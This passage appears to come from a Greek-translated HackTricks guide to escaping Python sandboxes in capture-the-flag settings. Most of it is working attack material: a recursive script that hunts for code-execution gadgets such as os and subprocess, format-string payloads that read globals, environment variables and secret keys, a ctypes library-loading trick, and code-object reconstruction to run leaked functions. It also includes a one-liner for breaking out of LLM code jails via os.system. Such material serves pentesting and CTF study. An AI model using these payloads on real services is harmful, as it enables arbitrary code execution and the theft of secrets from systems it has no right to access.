zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature pip: pdb: system: _wrap_close, _wrap_close getstatusoutput: CompletedProcess, Popen getoutput: CompletedProcess, Popen call: CompletedProcess, Popen Popen: CompletedProcess, Popen spawn: import_module: __import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec load_source: NullImporter, _HackedGetData execfile: execute: __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close """ ``` ## Αναδρομική Αναζήτηση Builtins, Globals... > [!WARNING] > Αυτό είναι απλώς **καταπληκτικό**. Αν **ψάχνετε για ένα αντικείμενο όπως globals, builtins, open ή οτιδήποτε άλλο** απλώς χρησιμοποιήστε αυτό το σενάριο για να **αναζητήσετε αναδρομικά μέρη όπου μπορείτε να βρείτε αυτό το αντικείμενο.** ```python import os, sys # Import these to find more gadgets SEARCH_FOR = { # Misc "__globals__": set(), "builtins": set(), "__builtins__": set(), "open": set(), # RCE libs "os": set(), "subprocess": set(), "commands": set(), "pty": set(), "importlib": set(), "imp": set(), "sys": set(), "pip": set(), "pdb": set(), # RCE methods "system": set(), "popen": set(), "getstatusoutput": set(), "getoutput": set(), "call": set(), "Popen": set(), "popen": set(), "spawn": set(), "import_module": set(), "__import__": set(), "load_source": set(), "execfile": set(), "execute": set() } #More than 4 is very time consuming MAX_CONT = 4 #The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found #ALREADY_CHECKED = set() def check_recursive(element, cont, name, orig_n, orig_i, execute): # If bigger than maximum, stop if cont > MAX_CONT: return # If already checked, stop #if name and name in ALREADY_CHECKED: # return # Add to already checked #if name: # ALREADY_CHECKED.add(name) # If found add to the dict for k in SEARCH_FOR: if k in dir(element) or (type(element) is dict and k in element): SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}") # Continue with the recursivity for new_element in dir(element): try: check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute) # WARNING: Calling random functions sometimes kills the script # Comment this part if you notice that behaviour!! if execute: try: if callable(getattr(element, new_element)): check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute) except: pass except: pass # If in a dict, scan also each key, very important if type(element) is dict: for new_element in element: check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i) def main(): print("Checking from empty string...") total = [""] for i,element in enumerate(total): print(f"\rStatus: {i}/{len(total)}", end="") cont = 1 check_recursive(element, cont, "", str(element), f"Empty str {i}", True) print() print("Checking loaded subclasses...") total = "".__class__.__base__.__subclasses__() for i,element in enumerate(total): print(f"\rStatus: {i}/{len(total)}", end="") cont = 1 check_recursive(element, cont, "", str(element), f"Subclass {i}", True) print() print("Checking from global functions...") total = [print, check_recursive] for i,element in enumerate(total): print(f"\rStatus: {i}/{len(total)}", end="") cont = 1 check_recursive(element, cont, "", str(element), f"Global func {i}", False) print() print(SEARCH_FOR) if __name__ == "__main__": main() ``` Μπορείτε να ελέγξετε την έξοδο αυτού του script σε αυτή τη σελίδα: {{#ref}} https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md {{#endref}} ## Python Format String Αν **στείλετε** μια **αλφαριθμητική** σε python που πρόκειται να **μορφοποιηθεί**, μπορείτε να χρησιμοποιήσετε `{}` για να αποκτήσετε πρόσβαση σε **εσωτερικές πληροφορίες της python.** Μπορείτε να χρησιμοποιήσετε τα προηγούμενα παραδείγματα για να αποκτήσετε πρόσβαση σε globals ή builtins για παράδειγμα. ```python # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ CONFIG = { "KEY": "ASXFYFGK78989" } class PeopleInfo: def __init__(self, fname, lname): self.fname = fname self.lname = lname def get_name_for_avatar(avatar_str, people_obj): return avatar_str.format(people_obj = people_obj) people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` Σημειώστε πώς μπορείτε να **πρόσβαση σε χαρακτηριστικά** με κανονικό τρόπο με μια **τελεία** όπως `people_obj.__init__` και **στοιχείο dict** με **παρενθέσεις** χωρίς αποσπάσματα `__globals__[CONFIG]` Επίσης, σημειώστε ότι μπορείτε να χρησιμοποιήσετε `.__dict__` για να απαριθμήσετε τα στοιχεία ενός αντικειμένου `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` Ορισμένα άλλα ενδιαφέροντα χαρακτηριστικά από τις μορφές συμβολοσειρών είναι η δυνατότητα **εκτέλεσης** των **συναρτήσεων** **`str`**, **`repr`** και **`ascii`** στο υποδεικνυόμενο αντικείμενο προσθέτοντας **`!s`**, **`!r`**, **`!a`** αντίστοιχα: ```python st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj = people) ``` Επιπλέον, είναι δυνατόν να **κωδικοποιηθούν νέοι μορφοποιητές** σε κλάσεις: ```python class HAL9000(object): def __format__(self, format): if (format == 'open-the-pod-bay-doors'): return "I'm afraid I can't do that." return 'HAL 9000' '{:open-the-pod-bay-doors}'.format(HAL9000()) #I'm afraid I can't do that. ``` **Περισσότερα παραδείγματα** σχετικά με **μορφή** **συμβολοσειρών** μπορούν να βρεθούν στο [**https://pyformat.info/**](https://pyformat.info) > [!ΠΡΟΣΟΧΗ] > Ελέγξτε επίσης την παρακάτω σελίδα για gadgets που θα r**ead sensitive information from Python internal objects**: {{#ref}} ../python-internal-read-gadgets.md {{#endref}} ### Payloads Ευαίσθητης Αποκάλυψης Πληροφοριών ```python {whoami.__class__.__dict__} {whoami.__globals__[os].__dict__} {whoami.__globals__[os].environ} {whoami.__globals__[sys].path} {whoami.__globals__[sys].modules} # Access an element through several links {whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__} # Example from https://corgi.rip/posts/buckeye-writeups/ secret_variable = "clueless" x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol') str(x) # Out: clueless ``` ### LLM Jails bypass Από [εδώ](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` ### Από το format στο RCE φόρτωσης βιβλιοθηκών Σύμφωνα με το [**TypeMonkey chall από αυτή την αναφορά**](https://corgi.rip/posts/buckeye-writeups/), είναι δυνατόν να φορτωθούν αυθαίρετες βιβλιοθήκες από το δίσκο εκμεταλλευόμενοι την ευπάθεια της μορφής συμβολοσειράς στην python. Ως υπενθύμιση, κάθε φορά που εκτελείται μια ενέργεια στην python, εκτελείται κάποια συνάρτηση. Για παράδειγμα, `2*3` θα εκτελέσει **`(2).mul(3)`** ή **`{'a':'b'}['a']`** θα είναι **`{'a':'b'}.__getitem__('a')`**. Έχετε περισσότερα όπως αυτό στην ενότητα [**Εκτέλεση Python χωρίς κλήσεις**](#python-execution-without-calls). Μια ευπάθεια μορφής συμβολοσειράς στην python δεν επιτρέπει την εκτέλεση συνάρτησης (δεν επιτρέπει τη χρήση παρενθέσεων), οπότε δεν είναι δυνατόν να αποκτήσετε RCE όπως `'{0.system("/bin/sh")}'.format(os)`.\ Ωστόσο, είναι δυνατόν να χρησιμοποιήσετε `[]`. Επομένως, αν μια κοινή βιβλιοθήκη python έχει μια μέθοδο **`__getitem__`** ή **`__getattr__`** που εκτελεί αυθαίρετο κώδικα, είναι δυνατόν να τις εκμεταλλευτείτε για να αποκτήσετε RCE. Ψάχνοντας για ένα gadget όπως αυτό στην python, η αναφορά προτείνει αυτή την [**αναζήτηση στο Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Όπου βρήκε αυτό [ένα](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463): ```python class LibraryLoader(object): def __init__(self, dlltype): self._dlltype = dlltype def __getattr__(self, name): if name[0] == '_': raise AttributeError(name) try: dll = self._dlltype(name) except OSError: raise AttributeError(name) setattr(self, name, dll) return dll def __getitem__(self, name): return getattr(self, name) cdll = LibraryLoader(CDLL) pydll = LibraryLoader(PyDLL) ``` Αυτή η συσκευή επιτρέπει να **φορτώσετε μια βιβλιοθήκη από τον δίσκο**. Επομένως, είναι απαραίτητο να **γράψετε ή να ανεβάσετε τη βιβλιοθήκη που θα φορτωθεί** σωστά συμπιεσμένη στον επιτιθέμενο διακομιστή. ```python '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}' ``` Η πρόκληση στην πραγματικότητα εκμεταλλεύεται μια άλλη ευπάθεια στον διακομιστή που επιτρέπει τη δημιουργία αυθαίρετων αρχείων στον δίσκο των διακομιστών. ## Ανάλυση Αντικειμένων Python > [!NOTE] > Αν θέλετε να **μάθετε** για τον **bytecode της python** σε βάθος, διαβάστε αυτή την **καταπληκτική** ανάρτηση για το θέμα: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) Σε ορισμένα CTFs μπορεί να σας παρέχεται το όνομα μιας **προσαρμοσμένης συνάρτησης όπου βρίσκεται η σημαία** και πρέπει να δείτε τα **εσωτερικά** της **συνάρτησης** για να την εξαγάγετε. Αυτή είναι η συνάρτηση προς επιθεώρηση: ```python def get_flag(some_input): var1=1 var2="secretcode" var3=["some","array"] if some_input == var2: return "THIS-IS-THE-FALG!" else: return "Nope" ``` #### dir ```python dir() #General dir() to find what we have loaded ['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x'] dir(get_flag) #Get info tof the function ['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name'] ``` #### globals `__globals__` και `func_globals`(Ίδιο) Αποκτά το παγκόσμιο περιβάλλον. Στο παράδειγμα μπορείτε να δείτε μερικά εισαγόμενα modules, μερικές παγκόσμιες μεταβλητές και το περιεχόμενό τους που δηλώνονται: ```python get_flag.func_globals get_flag.__globals__ {'b': 3, 'names': ('open', 'read'), '__builtins__': , 'codeobj': at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': , 'filename': './poc.py', '__package__': None, 'read': , 'code': , 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': , '__name__': '__main__', 'foo': , '__doc__': None, 'dis': } #If you have access to some variable value CustomClassObject.__class__.__init__.__globals__ ``` [**Δείτε εδώ περισσότερους τόπους για να αποκτήσετε globals**](#globals-and-locals) ### **Πρόσβαση στον κώδικα της συνάρτησης** **`__code__`** και `func_code`: Μπορείτε να **πρόσβαση** σε αυτό το **χαρακτηριστικό** της συνάρτησης για να **αποκτήσετε το αντικείμενο κώδικα** της συνάρτησης. ```python # In our current example get_flag.__code__ ", line 1 # Compiling some python code compile("print(5)", "", "single") at 0x7f9ca01330c0, file "", line 1> #Get the attributes of the code object dir(get_flag.__code__) ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames'] ``` ### Λήψη Πληροφοριών Κώδικα ```python # Another example s = ''' a = 5 b = 'text' def f(x): return x f(5) ''' c=compile(s, "", "exec") # __doc__: Get the description of the function, if any print.__doc__ # co_consts: Constants get_flag.__code__.co_consts (None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope') c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None. (5, 'text', , 'f', None # co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects. get_flag.__code__.co_names () c.co_names ('a', 'b', 'f') #co_varnames: Local names used by the bytecode (arguments first, then the local variables) get_flag.__code__.co_varnames ('some_input', 'var1', 'var2', 'var3') #co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions. get_flag.__code__.co_cellvars () #co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function. get_flag.__code__.co_freevars () #Get bytecode get_flag.__code__.co_code 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S' ``` ### **Αποσυναρμολόγηση μιας συνάρτησης** ```python import dis dis.dis(get_flag) 2 0 LOAD_CONST 1 (1) 3 STORE_FAST 1 (var1) 3 6 LOAD_CONST 2 ('secretcode') 9 STORE_FAST 2 (var2) 4 12 LOAD_CONST 3 ('some') 15 LOAD_CONST 4 ('array') 18 BUILD_LIST 2 21 STORE_FAST 3 (var3) 5 24 LOAD_FAST 0 (some_input) 27 LOAD_FAST 2 (var2) 30 COMPARE_OP 2 (==) 33 POP_JUMP_IF_FALSE 40 6 36 LOAD_CONST 5 ('THIS-IS-THE-FLAG!') 39 RETURN_VALUE 8 >> 40 LOAD_CONST 6 ('Nope') 43 RETURN_VALUE 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` Σημειώστε ότι **αν δεν μπορείτε να εισάγετε το `dis` στην python sandbox** μπορείτε να αποκτήσετε τον **bytecode** της συνάρτησης (`get_flag.func_code.co_code`) και να την **αποσυναρμολογήσετε** τοπικά. Δεν θα δείτε το περιεχόμενο των μεταβλητών που φορτώνονται (`LOAD_CONST`) αλλά μπορείτε να τις μαντέψετε από (`get_flag.func_code.co_consts`) επειδή το `LOAD_CONST` λέει επίσης την απόσταση της μεταβλητής που φορτώνεται. ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) 3 STORE_FAST 1 (1) 6 LOAD_CONST 2 (2) 9 STORE_FAST 2 (2) 12 LOAD_CONST 3 (3) 15 LOAD_CONST 4 (4) 18 BUILD_LIST 2 21 STORE_FAST 3 (3) 24 LOAD_FAST 0 (0) 27 LOAD_FAST 2 (2) 30 COMPARE_OP 2 (==) 33 POP_JUMP_IF_FALSE 40 36 LOAD_CONST 5 (5) 39 RETURN_VALUE >> 40 LOAD_CONST 6 (6) 43 RETURN_VALUE 44 LOAD_CONST 0 (0) 47 RETURN_VALUE ``` ## Συγκέντρωση Python Τώρα, ας φανταστούμε ότι με κάποιο τρόπο μπορείτε να **εκχύσετε τις πληροφορίες σχετικά με μια συνάρτηση που δεν μπορείτε να εκτελέσετε** αλλά **χρειάζεστε** να **την εκτελέσετε**.\ Όπως στο παρακάτω παράδειγμα, μπορείτε να **έχετε πρόσβαση στο αντικείμενο κώδικα** αυτής της συνάρτησης, αλλά απλά διαβάζοντας την αποσυναρμολόγηση **δεν ξέρετε πώς να υπολογίσετε τη σημαία** (_φανταστείτε μια πιο σύνθετη συνάρτηση `calc_flag`_) ```python def get_flag(some_input): var1=1 var2="secretcode" var3=["some","array"] def calc_flag(flag_rot2): return ''.join(chr(ord(c)-2) for c in flag_rot2) if some_input == var2: return calc_flag("VjkuKuVjgHnci") else: return "Nope" ``` ### Δημιουργία του αντικειμένου κώδικα Πρώτα απ' όλα, πρέπει να γνωρίζουμε **πώς να δημιουργήσουμε και να εκτελέσουμε ένα αντικείμενο κώδικα** ώστε να μπορέσουμε να δημιουργήσουμε ένα για να εκτελέσουμε τη λειτουργία μας που έχει διαρρεύσει: ```python code_type = type((lambda: None).__code__) # Check the following hint if you get an error in calling this code_obj = code_type(co_argcount, co_kwonlyargcount, co_nlocals, co_stacksize, co_flags, co_code, co_consts, co_names, co_varnames, co_filename, co_name, co_firstlineno, co_lnotab, freevars=None, cellvars=None) # Execution eval(code_obj) #Execute as a whole script # If you have the code of a function, execute it mydict = {} mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") ``` > [!NOTE] > Ανάλογα με την έκδοση python, οι **παράμετροι** του `code_type` μπορεί να έχουν **διαφορετική σειρά**. Ο καλύτερος τρόπος για να γνωρίζετε τη σειρά των παραμέτρων στην έκδοση python που εκτελείτε είναι να εκτελέσετε: > > ``` > import types > types.CodeType.__doc__ > 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.' > ``` ### Αναδημιουργία μιας διαρροής συνάρτησης > [!WARNING] > Στο παρακάτω παράδειγμα, θα πάρουμε όλα τα δεδομένα που χρειάζονται για να αναδημιουργήσουμε τη συνάρτηση απευθείας από το αντικείμενο κώδικα της συνάρτησης. Σε ένα **πραγματικό παράδειγμα**, όλες οι **τιμές** για την εκτέλεση της συνάρτησης **`code_type`** είναι αυτές που **θα χρειαστεί να διαρρεύσουν**. ```python fc = get_flag.__code__ # In a real situation the values like fc.co_argcount are the ones you need to leak code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars) mydict = {} mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") #ThisIsTheFlag ``` ### Bypass Defenses In previous examples at the beginning of this post, you can see **πώς να εκτελέσετε οποιοδήποτε python κώδικα χρησιμοποιώντας τη συνάρτηση `compile`**. This is interesting because you can **εκτελέσετε ολόκληρα σενάρια** με βρόχους και όλα σε μια **μία γραμμή** (and we could do the same using **`exec`**).\ Anyway, sometimes it could be useful to **δημιουργήσετε** ένα **συμπιεσμένο αντικείμενο** σε μια τοπική μηχανή και να το εκτελέσετε στη **μηχανή CTF** (for example because we don't have the `compiled` function in the CTF). For example, let's compile and execute manually a function that reads _./poc.py_: ```python #Locally def read(): return open("./poc.py",'r').read() read.__code__.co_code 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S' ``` ```python #On Remote function_type = type(lambda: None) code_type = type((lambda: None).__code__) #Get consts = (None, "./poc.py", 'r') bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S' names = ('open','read') # And execute it using eval/exec eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ())) #You could also execute it directly mydict = {} mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` Αν δεν μπορείτε να αποκτήσετε πρόσβαση στο `eval` ή `exec`, μπορείτε να δημιουργήσετε μια **κατάλληλη συνάρτηση**, αλλά η άμεση κλήση της συνήθως θα αποτύχει με: _ο κατασκευαστής δεν είναι προσβάσιμος σε περιορισμένο περιβάλλον_. Έτσι, χρειάζεστε μια **συνάρτηση που δεν είναι στο περιορισμένο περιβάλλον για να καλέσετε αυτή τη συνάρτηση.** ```python #Compile a regular print ftype = type(lambda: None) ctype = type((lambda: None).func_code) f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {}) f(42) ``` ## Αποσυμπίεση Συμπιεσμένου Python Χρησιμοποιώντας εργαλεία όπως [**https://www.decompiler.com/**](https://www.decompiler.com) μπορεί κανείς να **αποσυμπιέσει** τον δεδομένο συμπιεσμένο κώδικα python. **Δείτε αυτό το σεμινάριο**: {{#ref}} ../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md {{#endref}} ## Διάφορα Python ### Assert Ο Python που εκτελείται με βελτιστοποιήσεις με την παράμετρο `-O` θα αφαιρέσει τις δηλώσεις assert και οποιονδήποτε κώδικα που είναι υπό όρους στην τιμή του **debug**.\ Επομένως, ελέγχοι όπως ```python def check_permission(super_user): try: assert(super_user) print("\nYou are a super user\n") except AssertionError: print(f"\nNot a Super User!!!\n") ``` θα παρακαμφθεί ## Αναφορές - [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/) - [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/) - [https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/](https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/) - [https://gynvael.coldwind.pl/n/python_sandbox_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape) - [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html) - [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6) {{#include ../../../banners/hacktricks-training.md}}